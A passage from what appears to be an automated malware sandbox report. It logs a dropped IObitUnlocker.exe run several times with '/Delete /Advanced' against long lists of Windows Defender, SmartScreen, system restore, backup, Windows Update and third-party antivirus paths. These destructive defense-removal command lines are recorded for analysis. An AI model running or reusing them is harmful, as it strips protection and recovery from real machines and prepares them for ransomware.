,"C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:1764
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:528
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4604
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl 